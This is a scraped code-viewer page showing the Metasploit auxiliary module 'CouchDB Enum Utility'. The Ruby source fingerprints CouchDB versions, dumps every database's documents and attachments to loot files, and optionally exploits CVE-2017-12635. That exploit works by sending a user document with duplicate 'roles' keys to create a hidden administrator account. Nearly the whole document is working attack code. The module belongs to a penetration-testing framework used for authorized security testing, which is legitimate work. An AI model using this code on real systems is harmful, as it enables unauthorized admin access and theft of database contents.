Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/couchdb/couchdb_enum.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report89def initialize(info = {})10super(update_info(info,11'Name' => 'CouchDB Enum Utility',12'Description' => %q{13This module enumerates databases on CouchDB using the REST API14(without authentication by default).15},16'References' =>17[18['CVE', '2017-12635'],19['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],20['URL', 'https://wiki.apache.org/couchdb/HTTP_database_API']21],22'Author' =>23[24'Max Justicz', # Vulnerability discovery25'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit module26'Hendrik Van Belleghem', # (@hendrikvb) Database dump enhancements27'Green-m <greenm.xxoo[at]gmail.com>' # Portions from apache_couchdb_cmd_exec.rb used28],29'License' => MSF_LICENSE30))3132register_options(33[34Opt::RPORT(5984),35OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),36OptBool.new('SERVERINFO', [true, 'Print server info', false]),37OptBool.new('CREATEUSER', [true, 'Create Administrative user', false]),38OptString.new('HttpUsername', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12)]),39OptString.new('HttpPassword', [true, 'CouchDB Password', Rex::Text.rand_text_alpha(12)]),40OptString.new('ROLES', [true, 'CouchDB Roles', '_admin'])4142])43end4445def valid_response(res)46return res.code == 200 && res.headers['Server'].include?('CouchDB')47end4849def get_version50@version = nil5152begin53res = send_request_cgi(54'uri' => '/',55'method' => 'GET'56)57rescue Rex::ConnectionError58vprint_bad("#{peer} - Connection failed")59return false60end6162unless res63vprint_bad("#{peer} - No response, check if it is CouchDB.")64return false65end6667if res && res.code == 40168print_bad("#{peer} - Authentication required.")69return false70end7172if res && res.code == 20073res_json = res.get_json_document7475if res_json.empty?76vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")77return false78end7980@version = res_json['version'] if res_json['version']81return true82end8384vprint_warning("#{peer} - Version not found")85true86end8788def check89return Exploit::CheckCode::Unknown unless get_version90version = Rex::Version.new(@version)91return Exploit::CheckCode::Unknown if version.version.empty?92vprint_good("#{peer} - Found CouchDB version #{version}")9394return Exploit::CheckCode::Appears if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))9596Exploit::CheckCode::Safe97end9899def get_dbs(auth)100begin101res = send_request_cgi(102'uri' => normalize_uri(target_uri.path),103'method' => 'GET'104)105106temp = JSON.parse(res.body)107rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e108print_error("#{peer} - The following Error was encountered: #{e.class}")109return110end111112unless valid_response(res)113print_error("#{peer} - Unable to enum, received \"#{res.code}\"")114return115end116117print_status("#{peer} - Enumerating Databases...")118results = JSON.pretty_generate(temp)119print_good("#{peer} - Databases:\n\n#{results}\n")120path = store_loot(121'couchdb.enum',122'application/json',123rhost,124results,125'CouchDB Databases'126)127128print_good("#{peer} - File saved in: #{path}")129res.get_json_document.each do |db|130r = send_request_cgi(131'uri' => normalize_uri(target_uri.path, "/#{db}/_all_docs"),132'method'=> 'GET',133'authorization' => auth,134'vars_get' => {'include_docs' => 'true', 'attachments' => 'true'}135)136if r.code != 200137print_bad("#{peer} - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning.")138return139end140temp = JSON.parse(r.body)141results = JSON.pretty_generate(temp)142path = store_loot(143"couchdb.#{db}",144"application/json",145rhost,146results,147"CouchDB Databases"148)149print_good("#{peer} - #{db} saved in: #{path}")150end151end152153def get_server_info(auth)154begin155res = send_request_cgi(156'uri' => '/',157'method' => 'GET'158)159160temp = JSON.parse(res.body)161rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e162print_error("#{peer} - The following Error was encountered: #{e.class}")163return164end165166unless valid_response(res)167print_error("#{peer} - Unable to enum, received \"#{res.code}\"")168return169end170171# Example response: {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}172173print_good("#{peer} - #{JSON.pretty_generate(temp)}")174report_service(175host: rhost,176port: rport,177name: 'couchdb',178proto: 'tcp',179info: res.body180)181end182183def create_user184username = datastore['HttpUsername']185password = datastore['HttpPassword']186roles = datastore['ROLES']187timeout = datastore['TIMEOUT']188version = @version189190data = %Q({191"type": "user",192"name": "#{username}",193"roles": ["#{roles}"],194"roles": [],195"password": "#{password}"196})197res = send_request_cgi(198{ 'uri' => "/_users/org.couchdb.user:#{username}", # http://hostname:port/_users/org.couchdb.user:username199'method' => 'PUT',200'ctype' => 'text/json',201'data' => data,202}, timeout)203204unless res && res.code == 200205print_error("#{peer} - Change Failed")206return207end208209print_good("#{peer} - User #{username} created with password #{password}. Connect to #{full_uri('/_utils/')} to login.")210end211212def run213username = datastore['HttpUsername']214password = datastore['HttpPassword']215216if datastore['CREATEUSER']217fail_with(Failure::Unknown, 'get_version failed in run') unless get_version218version = Rex::Version.new(@version)219print_good("#{peer} - Found CouchDB version #{version}")220create_user if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))221end222auth = basic_auth(username, password) if username && password223get_server_info(auth) if datastore['SERVERINFO']224get_dbs(auth)225end226end227228229